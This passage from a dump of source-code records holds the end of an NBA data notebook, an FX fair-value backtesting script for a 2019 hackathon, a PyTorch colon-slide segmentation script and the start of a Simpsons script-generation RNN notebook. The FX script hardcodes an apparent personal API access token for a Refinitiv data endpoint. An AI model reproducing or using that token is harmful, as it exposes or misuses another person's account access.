x.groupby([\"game_id\"])[\"points\"].diff())\n    .assign(\n        point_diff=lambda x: x[\"point_diff\"].fillna(\n            x.groupby(\"game_id\")[\"point_diff\"].transform(\"mean\")\n        )\n    )\n    .dropna()\n)\nprint(f\"tmp.shape: {tmp.shape}\")\ntmp\n\n\n# In[117]:\n\n\n# `transform` works on a grouped \ntmp.groupby('game_id')['point_diff'].transform('mean')\n\n\n# In[119]:\n\n\ndisplay(tmp)\n\n\n# # Create a new dataframe\n\n# ## Number of games per season by team\n\n# Create a variable that equals the total number of observations in a group using `size`\n\n# In[129]:\n\n\ngames_dataset = (\n    get_nba_game_team_points()\n    .groupby([\"team_id\", \"season\"])\n    .size()\n    .reset_index(name=\"game_count\")\n)\ngames_dataset\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "4c22360db7c3516ddc888ba3cc7141397a3dfcee", "size": 4754, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/06-w2-access-data.py", "max_stars_repo_name": "bartev/sporty", "max_stars_repo_head_hexsha": "3f134ba76f4fc55382ea5a598fe9438ecd87ea8d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "notebooks/06-w2-access-data.py", "max_issues_repo_name": "bartev/sporty", "max_issues_repo_head_hexsha": "3f134ba76f4fc55382ea5a598fe9438ecd87ea8d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/06-w2-access-data.py", "max_forks_repo_name": "bartev/sporty", "max_forks_repo_head_hexsha": "3f134ba76f4fc55382ea5a598fe9438ecd87ea8d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 17.2246376812, "max_line_length": 94, "alphanum_fraction": 0.6817416912, "include": true, "reason": "import numpy,import statsmodels", "num_tokens": 1337, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.17781086947804958, "lm_q1q2_score": 0.08612804394314152}}
{"text": "# In[1]:\n\n\n# Import necessary packages\nimport pandas as pd\nimport numpy as np\nimport datetime\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom scipy.stats import stats\nimport requests\nimport json\n\nplt.style.use('seaborn')\n\n\n# In[2]:\n\n\n# Define a function to query data\n\ndef get_data_request(url, access_token, requestData):\n    '''make HTTP GET request'''\n    dResp = requests.get(url, headers = {'X-api-key': access_token}, params = requestData)      \n\n    \n    if dResp.status_code != 200:\n        if False: print(\"Unable to get data. Code %s, Message: %s\" % (dResp.status_code, dResp.text))\n    else:\n        if False: print(\"Data access successful\")\n        jResp = json.loads(dResp.text)\n        return jResp\n\n\n# In[3]:\n\n\n# Define a function to retrieve data from Refinitiv Data Science Accelerator\n# Default window time period is from 2016-11-01 to 2018-01-01\n\ndef query_refinitiv_data(ric,start_date='2016-11-01',end_date='2018-01-01'):\n  access_token = 'Jjxmy4OMWB5t5osGMF5Ut7qkRipRRhPa4Ns86iiW'  # your personal key for Data Science Accelerator access to Pricing Data\n  RESOURCE_ENDPOINT = \"https://dsa-stg-edp-api.fr-nonprod.aws.thomsonreuters.com/data/historical-pricing/beta1/views/summaries/\" + ric\n\n  requestData = {\n      \"interval\": \"P1D\",\n      \"start\": start_date,\n      \"end\": end_date,\n      \"fields\": 'TRDPRC_1' #BID,ASK,OPEN_PRC,HIGH_1,LOW_1,TRDPRC_1,NUM_MOVES,TRNOVR_UNS\n  }\n\n  # Get the data from Refinitiv server\n  jResp = get_data_request(RESOURCE_ENDPOINT, access_token, requestData)\n\n  # Create a DataFrame from the retrieved data\n  if jResp is not None:\n      data = jResp[0]['data']\n      headers = jResp[0]['headers']  \n      names = [headers[x]['name'] for x in range(len(headers))]\n      df = pd.DataFrame(data, columns=names )\n\n      # Make DATE into DateTime object and make it the Index of df\n      df.DATE = pd.to_datetime(df.DATE)\n      df = df.set_index('DATE')\n\n      df = df.rename(columns={'TRDPRC_1': 'Price'})\n      df = df.sort_index()\n      \n      return df\n\n\n# ## Query spot FX data\n\n# In[4]:\n\n\n# Query spot FX data and create a DataFrame from the data\nGBP_USD_df = query_refinitiv_data('=GBP')\nGBP_USD_df = GBP_USD_df.rename(columns={'Price':'GBP/USD'})\nGBP_USD_df.tail()\n\n\n# In[5]:\n\n\nGBP_USD_df.plot(title= 'GBP Spot Price')\nplt.xlabel('Date', fontsize=15)\nplt.ylabel('Price', fontsize=15)\n\n\n# ## Query Stock market indices\n# \n# We choose the following Stock market index for US and UK\n# \n# Country|Index\n# -------|---\n# US     |SPX\n# GBP     |FTSE\n\n# In[6]:\n\n\nSPX_df = query_refinitiv_data('.SPX')\nSPX_df = SPX_df.rename(columns={'Price': 'SPX'})\nSPX_df.tail()\n\n\n# In[7]:\n\n\nFTSE_df = query_refinitiv_data('.FTSE')\nFTSE_df = FTSE_df.rename(columns={'Price': 'FTSE'})\nFTSE_df.tail()\n\n\n# ## Prepare data for GBP/USD\n\n# Combine GBP/USD, SPX and FTSE into 1 DataFrame\n\n# In[8]:\n\n\nGBP_USD_df = pd.merge(GBP_USD_df,SPX_df,how='outer',left_index=True,right_index=True)\nGBP_USD_df = pd.merge(GBP_USD_df,FTSE_df,how='outer',left_index=True,right_index=True)\nGBP_USD_df.fillna(method='ffill',inplace=True)\nGBP_USD_df.tail()\n\n\n# Calculate moving average of the indices, which provide a better estimate for the Intrinsic value of those indices\n\n# In[9]:\n\n\nGBP_USD_df['GBP/USD 5D'] = GBP_USD_df['GBP/USD'].rolling(5).mean()\nGBP_USD_df['SPX MA 5D'] = GBP_USD_df['SPX'].rolling(5).mean()\nGBP_USD_df['FTSE MA 5D'] = GBP_USD_df['FTSE'].rolling(5).mean()\nGBP_USD_df.tail()\n\n\n# Plot for visualization\n\n# In[10]:\n\n\nGBP_USD_df.loc[:,['SPX','SPX MA 5D']].plot()\nGBP_USD_df.loc[:,['FTSE','FTSE MA 5D']].plot()\n\n\n# ## Calculating market return for 1 period\n# \n# There are on average 30 days of in a month. We take 30 days to be our period duration for calculation\n\n# In[11]:\n\n\nduration = 30\n\n\n# In[12]:\n\n\nGBP_USD_df['SPX Returns 1M'] = GBP_USD_df['SPX MA 5D'].pct_change(duration)\nGBP_USD_df['FTSE Returns 1M'] = GBP_USD_df['FTSE MA 5D'].pct_change(duration)\nGBP_USD_df.tail()\n\n\n# In[13]:\n\n\nGBP_USD_df.reset_index(inplace=True)\nGBP_USD_df.tail()\n\n\n# ## Calculating Fair value of exchange rate using the proposed model\n# \n# $$FX_2 = FX_1 \\frac{1+r_{UK}}{1+r_{US}}$$\n\n# In[14]:\n\n\nGBP_USD_df['GBP/USD Fair value'] = np.nan\nfor i in np.arange(duration,len(GBP_USD_df)):\n    GBP_USD_df.loc[i,'GBP/USD Fair value'] = GBP_USD_df.loc[i-duration,'GBP/USD 5D'] * (1 + GBP_USD_df.loc[i,'FTSE Returns 1M']) / (1 + GBP_USD_df.loc[i,'SPX Returns 1M'])\n\n\n# In[15]:\n\n\nGBP_USD_df.tail()\n\n\n# In[16]:\n\n\nplt.plot(GBP_USD_df['DATE'],GBP_USD_df['GBP/USD'])\nplt.plot(GBP_USD_df['DATE'],GBP_USD_df['GBP/USD 5D'])\nplt.plot(GBP_USD_df['DATE'],GBP_USD_df['GBP/USD Fair value'])\n\n\n# ## Sharpe ratio and Backtesting\n# \n# Take the risk free rate to be 1.4% and constant throughout our analysis.\n# \n# We enter forward contracts for delivery in 1 month time. Thus, our **realized return** will be computed using *current spot exchange rate* and *spot exchange rate in 1 month later*.\n\n# In[17]:\n\n\nRa = np.array([])\ntotal_return = 0\nthreshold = 1\n\n\n# In[18]:\n\n\nfor i in np.arange(len(GBP_USD_df)-duration):\n    if GBP_USD_df.loc[i,'GBP/USD'] - GBP_USD_df.loc[i,'GBP/USD Fair value'] > threshold:              # long position\n        Return = 1 - GBP_USD_df.loc[i+duration,'GBP/USD'] / GBP_USD_df.loc[i,'GBP/USD']               # realized return\n        Ra = np.append(Ra, Return)    \n        total_return += 100 * Return\n    \n    elif GBP_USD_df.loc[i,'GBP/USD'] - GBP_USD_df.loc[i,'GBP/USD Fair value'] < -threshold:           # short position\n        Return = GBP_USD_df.loc[i+duration,'GBP/USD'] / GBP_USD_df.loc[i,'GBP/USD'] - 1               # realized return\n        Ra = np.append(Ra, Return)    \n        total_return += 100 * Return\n\n\n# In[19]:\n\n\n# convert to annual rate, compount the rate by 12 periods (there are 12 months in a year)\nRa = (Ra + 1)**12 - 1\n\n\n# In[20]:\n\n\nRa.mean()\n\n\n# In[21]:\n\n\nsns.distplot(Ra)\n\n\n# In[22]:\n\n\nSharpe_ratio = (Ra.mean() - 0.014) / Ra.std()\nSharpe_ratio\n\n\n# ## Export estimated Fair value\n# \n# For submission purpose\n\n# In[23]:\n\n\nFV_df = GBP_USD_df.loc[:,['DATE','GBP/USD Fair value']]\nFV_df.tail()\n\n\n# In[24]:\n\n\n# FV_df.to_csv('Fair_value.csv',index=False)\n\nprint(total_return)", "meta": {"hexsha": "815246c3c0fb2172709e7237f0c11336e10974ed", "size": 6139, "ext": "py", "lang": "Python", "max_stars_repo_path": "UBShackathon2019/FX_Value_strategy.py", "max_stars_repo_name": "gau-nernst/DataScience", "max_stars_repo_head_hexsha": "909c887eafa53caff137c90b64440683b39f45bf", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-06-06T00:30:56.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-06T00:30:56.000Z", "max_issues_repo_path": "UBShackathon2019/FX_Value_strategy.py", "max_issues_repo_name": "gau-nernst/DataScience", "max_issues_repo_head_hexsha": "909c887eafa53caff137c90b64440683b39f45bf", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "UBShackathon2019/FX_Value_strategy.py", "max_forks_repo_name": "gau-nernst/DataScience", "max_forks_repo_head_hexsha": "909c887eafa53caff137c90b64440683b39f45bf", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.5698529412, "max_line_length": 183, "alphanum_fraction": 0.6733995765, "include": true, "reason": "import numpy,from scipy", "num_tokens": 1874, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.1732882037945951, "lm_q1q2_score": 0.08596720862259781}}
{"text": "# -*- coding: utf-8 -*-\n\nimport os, sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport argparse, uuid, time\nfrom skimage import io, transform, morphology\nfrom collections import defaultdict\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nfrom torch.utils.data import DataLoader\nimport torch.backends.cudnn as cudnn\nimport torch.nn.functional as F\nfrom pydaily import filesystem\n\nimport PIL\nPIL.Image.MAX_IMAGE_PIXELS = None\nimport warnings\nwarnings.simplefilter(\"ignore\", UserWarning)\n\nfrom segnet import pspnet\nfrom utils import wsi_stride_splitting,  gen_patch_mask_wmap\nfrom patch_loader import PatchDataset\n\n\ndef set_args():\n    parser = argparse.ArgumentParser(description=\"Colon Tumor Slide Segmentation\")\n    parser.add_argument(\"--class_num\",       type=int,   default=1)\n    parser.add_argument(\"--in_channels\",     type=int,   default=3)\n    parser.add_argument(\"--batch_size\",      type=int,   default=32)\n    parser.add_argument(\"--stride_len\",      type=int,   default=448)\n    parser.add_argument(\"--patch_len\",       type=int,   default=448)\n    parser.add_argument(\"--gpu\",             type=str,   default=\"4\")\n    # parser.add_argument(\"--best_model\",      type=str,   default=\"PSP-023-0.667.pth\")\n    parser.add_argument(\"--best_model\",      type=str,   default=\"PSP-050-0.665.pth\")\n    parser.add_argument(\"--model_dir\",       type=str,   default=\"../data/PatchSeg/BestModels\")\n    parser.add_argument(\"--slides_dir\",      type=str,   default=\"../data/SlideSeg/TestPosSlides\")\n    parser.add_argument(\"--result_dir\",      type=str,   default=\"../data/SlideSeg/TestPosResults\")\n    parser.add_argument(\"--seed\",            type=int,   default=1234)\n\n    args = parser.parse_args()\n    return args\n\n\ndef test_slide_seg(args):\n    model = pspnet.PSPNet(n_classes=19, input_size=(args.patch_len, args.patch_len))\n    model.classification = nn.Conv2d(512, args.class_num, kernel_size=1)\n\n    model_path = os.path.join(args.model_dir, args.best_model)\n    model = nn.DataParallel(model)\n    model.load_state_dict(torch.load(model_path))\n    model.cuda()\n    model.eval()\n\n    since = time.time()\n    # filesystem.overwrite_dir(args.result_dir)\n    slide_names = [ele for ele in os.listdir(args.slides_dir) if \"jpg\" in ele]\n\n    ttl_pred_dice = 0.0\n    for num, cur_slide in enumerate(slide_names):\n        metrics = defaultdict(float)\n        # load slide image and mask\n        slide_path = os.path.join(args.slides_dir, cur_slide)\n        slide_img = io.imread(slide_path) / 255.0\n        mask_path = os.path.join(args.slides_dir, os.path.splitext(cur_slide)[0]+\".png\")\n        mask_img = io.imread(mask_path) / 255.0\n        # split and predict\n        coors_arr = wsi_stride_splitting(slide_img.shape[0], slide_img.shape[1], patch_len=args.patch_len, stride_len=args.stride_len)\n        wmap = np.zeros((slide_img.shape[0], slide_img.shape[1]), dtype=np.int32)\n        pred_map = np.zeros_like(wmap).astype(np.float32)\n\n        patch_list, coor_list = [], []\n        for ic, coor in enumerate(coors_arr):\n            ph, pw = coor[0], coor[1]\n            patch_list.append(slide_img[ph:ph+args.patch_len, pw:pw+args.patch_len])\n            coor_list.append([ph, pw])\n            wmap[ph:ph+args.patch_len, pw:pw+args.patch_len] += 1\n            if len(patch_list) == args.batch_size or ic+1 == len(coors_arr):\n                patch_arr = np.asarray(patch_list).astype(np.float32)\n                patch_dset = PatchDataset(patch_arr)\n                patch_loader = DataLoader(patch_dset, batch_size=args.batch_size, shuffle=False, num_workers=4, drop_last=False)\n                with torch.no_grad():\n                    pred_list = []\n                    for patches in patch_loader:\n                        inputs = Variable(patches.cuda())\n                        outputs = model(inputs)\n                        preds = F.sigmoid(outputs)\n                        preds = torch.squeeze(preds, dim=1).data.cpu().numpy()\n                        pred_list.append(preds)\n                    batch_preds = np.concatenate(pred_list, axis=0)\n                    for ind, coor in enumerate(coor_list):\n                        ph, pw = coor[0], coor[1]\n                        pred_map[ph:ph+args.patch_len, pw:pw+args.patch_len] += batch_preds[ind]\n                patch_list, coor_list = [], []\n\n        prob_pred = np.divide(pred_map, wmap)\n        slide_pred = morphology.remove_small_objects(prob_pred > 0.5, min_size=20480).astype(np.uint8)\n        # pred_save_path = os.path.join(args.result_dir, os.path.splitext(cur_slide)[0]+\".png\")\n        # io.imsave(pred_save_path, slide_pred*255)\n        intersection = np.multiply(mask_img, slide_pred)\n        pred_dice = np.sum(intersection) / (np.sum(mask_img)+np.sum(slide_pred)-np.sum(intersection) + 1.0e-8)\n        ttl_pred_dice += pred_dice\n        print(\"--{:2d}/{:2d} Slide:{} JI:{:.3f}\".format(num+1, len(slide_names), cur_slide, pred_dice))\n\n    time_elapsed = time.time() - since\n    print('Testing takes {:.0f}m {:.2f}s'.format(time_elapsed // 60, time_elapsed % 60))\n    print('Slide-level average Dice coefficient is {:.3f}'.format(ttl_pred_dice/len(slide_names)))\n\n\n\nif  __name__ == '__main__':\n    args = set_args()\n    os.environ[\"CUDA_VISIBLE_DEVICES\"] = args.gpu\n    torch.cuda.manual_seed(args.seed)\n    cudnn.benchmark = True\n\n    # train model\n    print(\"Prediction using model: {}\".format(args.best_model))\n    test_slide_seg(args)\n", "meta": {"hexsha": "36aafebc40df69e2a977d936f472351f227a98f3", "size": 5449, "ext": "py", "lang": "Python", "max_stars_repo_path": "wsi-seg/slide_seg.py", "max_stars_repo_name": "PingjunChen/ColonTissueSegCls", "max_stars_repo_head_hexsha": "622a935fabf5529a0b40301274f402b624f3015c", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-09-30T15:23:58.000Z", "max_stars_repo_stars_event_max_datetime": "2019-09-30T15:23:58.000Z", "max_issues_repo_path": "wsi-seg/slide_seg.py", "max_issues_repo_name": "PingjunChen/ColonTissueSegCls", "max_issues_repo_head_hexsha": "622a935fabf5529a0b40301274f402b624f3015c", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 9, "max_issues_repo_issues_event_min_datetime": "2021-06-08T20:27:44.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-12T00:43:03.000Z", "max_forks_repo_path": "wsi-seg/slide_seg.py", "max_forks_repo_name": "PingjunChen/ColonTissueSegCls", "max_forks_repo_head_hexsha": "622a935fabf5529a0b40301274f402b624f3015c", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-10-17T18:55:02.000Z", "max_forks_repo_forks_event_max_datetime": "2019-10-17T18:55:02.000Z", "avg_line_length": 45.0330578512, "max_line_length": 134, "alphanum_fraction": 0.6511286475, "include": true, "reason": "import numpy", "num_tokens": 1331, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.1688569605068544, "lm_q1q2_score": 0.08574756791150573}}
{"text": "\n# coding: utf-8\n\n# # TV Script Generation\n# # \u7535\u89c6\u5267\u811a\u672c\u751f\u6210\n# \n# In this project, you'll generate your own [Simpsons](https://en.wikipedia.org/wiki/The_Simpsons) TV scripts using RNNs.  You'll be using part of the [Simpsons dataset](https://www.kaggle.com/wcukierski/the-simpsons-by-the-data) of scripts from 27 seasons.  The Neural Network you'll build will generate a new TV script for a scene at [Moe's Tavern](https://simpsonswiki.com/wiki/Moe's_Tavern).\n# \n# \u5728\u8fd9\u4e2a\u9879\u76ee\u4e2d\uff0c\u60a8\u5c06\u4f7f\u7528RNN\u751f\u6210\u81ea\u5df1\u7684[Simpsons](https://en.wikipedia.org/wiki/The_Simpsons)\u7535\u89c6\u5267\u672c\u3002 \u60a8\u5c06\u4f7f\u752827\u5b63\u5267\u672c[Simpsons\u6570\u636e\u96c6](https://www.kaggle.com/wcukierski/the-simpsons-by-the-data)\u7684\u4e00\u90e8\u5206\u3002 \u4f60\u5c06\u5efa\u7acb\u7684\u795e\u7ecf\u7f51\u7edc\u5c06\u5728[Moe's Tavern](https://simpsonswiki.com/wiki/Moe's_Tavern)\u4e0a\u4e3a\u4e00\u4e2a\u573a\u666f\u751f\u6210\u4e00\u4e2a\u65b0\u7684\u7535\u89c6\u5267\u672c\u3002\n# \n# ## Get the Data\n# ## \u83b7\u53d6\u6570\u636e\n# \n# The data is already provided for you.  You'll be using a subset of the original dataset.  It consists of only the scenes in Moe's Tavern.  This doesn't include other versions of the tavern, like \"Moe's Cavern\", \"Flaming Moe's\", \"Uncle Moe's Family Feed-Bag\", etc..\n# \n# \u6570\u636e\u5df2\u7ecf\u4e3a\u60a8\u63d0\u4f9b\u3002 \u60a8\u5c06\u4f7f\u7528\u539f\u59cb\u6570\u636e\u96c6\u7684\u4e00\u4e2a\u5b50\u96c6\u3002 \u5b83\u53ea\u5305\u542b\u5728Moe\u7684\u5c0f\u9152\u9986\u7684\u573a\u666f\u3002 \u8fd9\u4e0d\u5305\u62ec\u5176\u4ed6\u7248\u672c\u7684\u5c0f\u9152\u9986\uff0c\u5982 \"Moe's Cavern\", \"Flaming Moe's\"\uff0c \"Uncle Moe's Family Feed-Bag\"\u7b49\u3002\n\n# In[1]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nimport helper\n\ndata_dir = './data/simpsons/moes_tavern_lines.txt'\ntext = helper.load_data(data_dir)\n# Ignore notice, since we don't use it for analysing the data\ntext = text[81:]\nprint(len(text))\n\n\n# ## Explore the Data\n# ## \u63a2\u7d22\u6570\u636e\n# \n# Play around with `view_sentence_range` to view different parts of the data.\n# \n# \u4f7f\u7528`view_sentence_range`\u6d4f\u89c8\u6570\u636e\u7684\u4e0d\u540c\u90e8\u5206\u3002\n\n# In[2]:\n\n\nview_sentence_range = (0, 10)\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nimport numpy as np\n\nprint('Dataset Stats')\nprint('Roughly the number of unique words: {}'.format(len({word: None for word in text.split()})))\nscenes = text.split('\\n\\n')\nprint('Number of scenes: {}'.format(len(scenes)))\nsentence_count_scene = [scene.count('\\n') for scene in scenes]\nprint('Average number of sentences in each scene: {}'.format(np.average(sentence_count_scene)))\n\nsentences = [sentence for scene in scenes for sentence in scene.split('\\n')]\nprint('Number of lines: {}'.format(len(sentences)))\nword_count_sentence = [len(sentence.split()) for sentence in sentences]\nprint('Average number of words in each line: {}'.format(np.average(word_count_sentence)))\n\nprint()\nprint('The sentences {} to {}:'.format(*view_sentence_range))\nprint('\\n'.join(text.split('\\n')[view_sentence_range[0]:view_sentence_range[1]]))\n\n\n# ## Implement Preprocessing Functions\n# ## \u5b9e\u73b0\u9884\u5904\u7406\u51fd\u6570\n# \n# The first thing to do to any dataset is preprocessing.  Implement the following preprocessing functions below:\n# \n# \u5bf9\u4efb\u4f55\u6570\u636e\u96c6\u9996\u5148\u8981\u505a\u7684\u4e8b\u5c31\u662f\u9884\u5904\u7406\u3002 \u5b9e\u73b0\u4e0b\u9762\u7684\u9884\u5904\u7406\u529f\u80fd\uff1a\n# \n# - Lookup Table\n# - \u67e5\u627e\u8868\n# - Tokenize Punctuation\n# - \u6807\u70b9\u7b26\u53f7token\u5316\n# \n# ### Lookup Table\n# ### \u67e5\u627e\u8868\n# \n# To create a word embedding, you first need to transform the words to ids.  In this function, create two dictionaries:\n# \n# \u8981\u521b\u5efa\u4e00\u4e2a\u5355\u8bcd\u5d4c\u5165\uff0c\u60a8\u9996\u5148\u9700\u8981\u5c06\u5355\u8bcd\u8f6c\u6362\u4e3aid\u3002 \u5728\u8fd9\u4e2a\u51fd\u6570\u4e2d\uff0c\u521b\u5efa\u4e24\u4e2a\u5b57\u5178\uff1a\n# \n# - Dictionary to go from the words to an id, we'll call `vocab_to_int`\n# - \u4f7fword\u8f6c\u6362\u5230id\u7684\u5b57\u5178\uff0c\u6211\u4eec\u79f0\u4e4b\u4e3a`vocab_to_int`\n# - Dictionary to go from the id to word, we'll call `int_to_vocab`\n# - \u4f7fid\u8f6c\u6362\u4e3aword\u7684\u5b57\u5178\uff0c\u6211\u4eec\u79f0\u4e4b\u4e3a`int_to_vocab`\n# \n# Return these dictionaries in the following tuple `(vocab_to_int, int_to_vocab)`\n# \n# \u4ee5\u5143\u7ec4`\uff08vocab_to_int\uff0cint_to_vocab\uff09`\u7684\u5f62\u5f0f\u7684\u8fd4\u56de\u8fd9\u4e9b\u5b57\u5178\n\n# In[3]:\n\n\nimport numpy as np\nimport problem_unittests as tests\n\nfrom collections import Counter\n\ndef create_lookup_tables(text):\n    \"\"\"\n    Create lookup tables for vocabulary\n    :param text: The text of tv scripts split into words\n    :return: A tuple of dicts (vocab_to_int, int_to_vocab)\n    \"\"\"\n    # TODO: Implement Function\n    words_count = Counter(text)\n    vocab = words_count.most_common()\n    vocab_to_int = {word[0]:idx  for idx,word in enumerate(vocab) }\n    int_to_vocab = {idx: word  for word, idx in vocab_to_int.items()}\n    \n    return (vocab_to_int, int_to_vocab)\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_create_lookup_tables(create_lookup_tables)\n\n\n# ### Tokenize Punctuation\n# ### \u6807\u70b9\u7b26\u53f7token\u5316\n# \n# \n# We'll be splitting the script into a word array using spaces as delimiters.  However, punctuations like periods and exclamation marks make it hard for the neural network to distinguish between the word \"bye\" and \"bye!\".\n# \n# \u6211\u4eec\u5c06\u4f7f\u7528\u7a7a\u683c\u4f5c\u4e3a\u5206\u9694\u7b26\u5c06\u811a\u672c\u5206\u5272\u6210\u4e00\u4e2a\u5355\u8bcd\u6570\u7ec4\u3002 \u7136\u800c\uff0c\u53e5\u53f7\u548c\u60ca\u53f9\u53f7\u7b49\u6807\u70b9\u4f7f\u5f97\u795e\u7ecf\u7f51\u7edc\u5f88\u96be\u533a\u5206\u201c\u518d\u89c1\u201d\u548c\u201c\u518d\u89c1\uff01\u201d\u8fd9\u4e24\u4e2a\u8bcd\u3002\n# \n# Implement the function `token_lookup` to return a dict that will be used to tokenize symbols like \"!\" into \"||Exclamation_Mark||\".  Create a dictionary for the following symbols where the symbol is the key and value is the token:\n# \n# \u5b9e\u73b0`token_lookup`\u51fd\u6570\u5e76\u8fd4\u56de\u4e00\u4e2a\u5b57\u5178\uff0c\u7528\u6765\u5c06\u7b26\u53f7\u50cf\"!\"  \u8f6c\u6362\u4e3a\"||Exclamation_Mark||\"\u3002 \u4e3a\u7b26\u53f7\u4e3a\u5173\u952e\u5b57\u4e14\u503c\u4e3a\u4ee4\u724c\u7684\u4ee5\u4e0b\u7b26\u53f7\u521b\u5efa\u5b57\u5178\uff1a\n# \n# - Period ( . )\n# - Comma ( , )\n# - Quotation Mark ( \" )\n# - Semicolon ( ; )\n# - Exclamation mark ( ! )\n# - Question mark ( ? )\n# - Left Parentheses ( ( )\n# - Right Parentheses ( ) )\n# - Dash ( -- )\n# - Return ( \\n )\n# \n# This dictionary will be used to token the symbols and add the delimiter (space) around it.  This separates the symbols as it's own word, making it easier for the neural network to predict on the next word. Make sure you don't use a token that could be confused as a word. Instead of using the token \"dash\", try using something like \"||dash||\".\n# \n# \u8fd9\u4e2a\u8bcd\u5178\u5c06\u88ab\u7528\u6765\u6807\u8bb0\u7b26\u53f7\u5e76\u5728\u5176\u5468\u56f4\u6dfb\u52a0\u5206\u9694\u7b26\uff08\u7a7a\u683c\uff09\u3002 \u8fd9\u5c06\u7b26\u53f7\u5206\u79bb\u4e3a\u81ea\u5df1\u7684\u5355\u8bcd\uff0c\u4f7f\u5f97\u795e\u7ecf\u7f51\u7edc\u66f4\u5bb9\u6613\u9884\u6d4b\u4e0b\u4e00\u4e2a\u5355\u8bcd\u3002 \u786e\u4fdd\u4f60\u4e0d\u8981\u4f7f\u7528\u53ef\u80fd\u88ab\u6df7\u6dc6\u7684\u5355\u8bcd\u3002 \u4e0d\u8981\u4f7f\u7528\u6807\u8bb0\u201cdash\u201d\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u4f7f\u7528\"||dash||\"\u4e4b\u7c7b\u7684\u4e1c\u897f\u3002\n\n# In[4]:\n\n\ndef token_lookup():\n    \"\"\"\n    Generate a dict to turn punctuation into a token.\n    :return: Tokenize dictionary where the key is the punctuation and the value is the token\n    \"\"\"\n    # TODO: Implement Function\n    punc_to_token = {\n        '.' : '||Period||',\n        ',' : '||Comma||',\n        '\"' : '||Quotation_Mark||',\n        ';' : '||Semicolon||',\n        '!' : '||Exclamation_mark||',\n        '?' : '||Question_mark||',\n        '(' : '||Left_Parentheses||',\n        ')' : '||Right_Parentheses||',\n        '--' : '||Dash||',\n        '\\n' : '||Return||'\n    }\n    \n    return punc_to_token\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL THAT IS BELOW THIS LINE\n\"\"\"\ntests.test_tokenize(token_lookup)\n\n\n# ## Preprocess all the data and save it\n# ## \u9884\u5904\u7406\u6240\u6709\u6570\u636e\u5e76\u4fdd\u5b58\n# \n# Running the code cell below will preprocess all the data and save it to file.\n# \n# \u8fd0\u884c\u4e0b\u9762\u7684\u4ee3\u7801\u5355\u5143\u5c06\u9884\u5904\u7406\u6240\u6709\u6570\u636e\u5e76\u5c06\u5176\u4fdd\u5b58\u5230\u6587\u4ef6\u3002\n\n# In[5]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\n# Preprocess Training, Validation, and Testing Data\nhelper.preprocess_and_save_data(data_dir, token_lookup, create_lookup_tables)\n\n\n# # Check Point\n# # \u68c0\u67e5\u70b9\n# \n# This is your first checkpoint. If you ever decide to come back to this notebook or have to restart the notebook, you can start from here. The preprocessed data has been saved to disk.\n# \n# \u8fd9\u662f\u4f60\u7684\u7b2c\u4e00\u4e2a\u68c0\u67e5\u70b9\u3002 \u5982\u679c\u60a8\u51b3\u5b9a\u56de\u6765\u8fd9\u53f0\u7b14\u8bb0\u672c\uff0c\u6216\u4e0d\u5f97\u4e0d\u91cd\u65b0\u542f\u52a8\u7b14\u8bb0\u672c\uff0c\u4f60\u53ef\u4ee5\u4ece\u8fd9\u91cc\u5f00\u59cb\u3002 \u9884\u5904\u7406\u7684\u6570\u636e\u5df2\u4fdd\u5b58\u5230\u78c1\u76d8\u3002\n\n# In[6]:\n\n\n\"\"\"\nDON'T MODIFY ANYTHING IN THIS CELL\n\"\"\"\nimport helper\nimport numpy as np\nimport problem_unittests as tests\n\nint_text, vocab_to_int, int_to_vocab, token_dict = helper.load_preprocess()\n\n\n# ## Build the Neural Network\n# ## \u6784\u5efa\u795e\u7ecf\u7f51\u7edc\n# \n# You'll build the components necessary to build a RNN by implementing the following functions below:\n# \n# \u60a8\u5c06\u901a\u8fc7\u6267\u884c\u4ee5\u4e0b\u529f\u80fd\u6765\u6784\u5efa\u6784\u5efaRNN\u6240\u9700\u7684\u7ec4\u4ef6\uff1a\n# \n# - get_inputs\n# - get_init_cell\n# - get_embed\n# - build_rnn\n# - build_nn\n# - get_batches\n# \n# ### Check the Version of TensorFlow and Access to GPU\n# ### 